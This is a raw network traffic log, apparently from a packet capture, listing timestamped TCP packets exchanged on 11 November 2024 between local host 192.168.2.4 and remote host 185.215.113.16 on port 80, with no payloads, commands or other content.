Nov 11, 2024 14:32:21.907783985 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.907790899 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.907803059 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.907824039 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.907850981 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.908015966 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.908020973 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.908034086 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.908093929 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.908109903 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.908116102 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.908164978 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.908282995 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.908325911 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.908332109 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.908351898 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.908406019 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.908426046 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.908432961 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.908444881 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.908449888 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.908483982 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.908572912 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.908651114 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.908703089 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.908709049 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.908756018 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.908756018 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.908767939 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.908773899 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.908786058 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.908792973 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.908828974 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.908873081 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.908886909 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.908893108 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.908905029 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.908910036 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.908946037 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.909493923 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.909538984 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.909544945 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.909580946 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.909600019 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.909605980 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.909617901 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.909624100 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.909663916 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.909681082 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.909687042 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.909698009 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.909703016 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.909708977 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.909739971 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.909763098 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.910397053 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.910525084 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:21.922018051 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:21.922161102 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.022092104 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.022100925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.022113085 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.022120953 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.022125959 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.022133112 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.022226095 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.022376060 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.022376060 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.022414923 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.022419930 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.022432089 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.022439003 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.022444963 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.022504091 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.022519112 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.022581100 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.022587061 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.022593975 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.022599936 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.022676945 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.022676945 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.022705078 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.022758007 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.022883892 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.022938013 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.023060083 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.023066044 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.023077965 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.023083925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.023089886 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.023133039 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.023145914 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.023371935 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.023376942 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.023390055 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.023394108 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.023400068 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.023406982 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.023459911 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.023494959 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.023525953 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.023531914 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.023542881 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.023612976 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.023822069 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.023828030 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.023839951 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.023890972 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.023998976 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.024007082 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.024018049 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.024022102 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.024077892 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.024293900 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.024301052 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.024312019 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.024405956 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.024449110 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.024461985 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.024468899 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.024480104 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.024486065 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.024492025 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.024498940 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.024503946 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.024538040 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.024565935 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.024770975 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.024776936 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.024789095 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.024794102 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.024859905 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.024928093 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.024941921 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.024949074 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.025002003 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.025072098 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.025077105 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.025088072 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.025094032 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.025099039 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.025156021 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.029360056 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.029423952 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.029516935 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.029527903 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.029532909 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.029539108 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.029546022 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.029576063 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.029614925 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.029687881 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.029695034 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.029707909 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.029714108 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.029719114 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.029723883 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.029733896 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.029740095 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.029746056 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.029751062 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.029781103 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.029789925 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.030149937 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.030155897 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.030168056 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.030230999 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.030306101 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.030366898 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.030484915 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.030491114 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.030503988 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.030508995 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.030582905 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.030625105 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.030631065 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.030705929 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.030780077 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.030786991 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.030791998 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.030797958 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.030802965 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.030864000 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.030864000 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.030919075 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.030927896 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.031003952 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.031227112 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.031232119 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.031244040 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.031249046 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.031301975 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.031302929 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.133362055 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.133373976 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.133522987 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.133529902 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.133536100 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.133568048 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.133584023 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.133599043 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.133605003 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.133620977 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.133620977 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.133642912 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.133657932 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.133657932 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.133657932 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.133707047 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.133714914 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.133719921 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.133724928 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.133730888 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.133769035 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.133785009 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.133800983 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.133847952 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.133851051 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.133858919 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.133944988 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.133995056 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.134001017 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.134012938 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.134018898 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.134059906 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.134066105 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.134073019 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.134099960 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.134099960 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.134121895 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.134143114 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.134149075 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.134155035 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.134170055 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.134174109 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.134205103 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.134228945 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.134324074 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.134354115 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.134365082 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.134443045 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.134449959 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.134454012 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.134455919 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.134464979 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.134541988 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.134548903 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.134551048 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.134556055 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.134562969 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.134617090 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.134763002 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.134769917 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.134780884 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.134844065 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.134850025 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.134861946 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.134864092 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.134869099 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.134919882 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.134926081 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.134941101 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.134944916 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.135035992 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.135102034 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.135189056 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.135195971 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.135209084 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.135221958 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.135256052 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.135273933 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.135279894 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.135292053 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.135298014 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.135333061 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.135334969 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.135340929 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.135348082 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.135354042 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.135374069 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.135401964 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.135410070 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.135571003 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.135579109 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.135591030 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.135679007 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.135689974 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.135695934 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.135706902 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.135715008 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.135725975 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.135751963 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.135786057 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.135871887 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.135878086 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.135890007 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.135942936 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.135946035 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.135952950 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.135965109 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.135972023 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.135977983 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.136010885 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.136039019 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.136113882 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.136178970 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.136184931 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.136188030 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.136259079 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.136265039 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.136276960 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.136282921 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.136284113 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.136324883 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.136344910 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.136348009 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.136354923 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.136367083 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.136372089 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.136378050 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.136406898 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.136423111 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.136428118 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.136460066 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.136477947 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.136620998 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.136693954 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.136699915 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.136712074 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.136733055 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.136758089 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.136764050 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.136775970 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.136781931 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.136787891 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.136817932 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.136876106 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.136908054 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.136945009 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.136950970 CET	80	49761	185.215.113.16	192.168.2.4
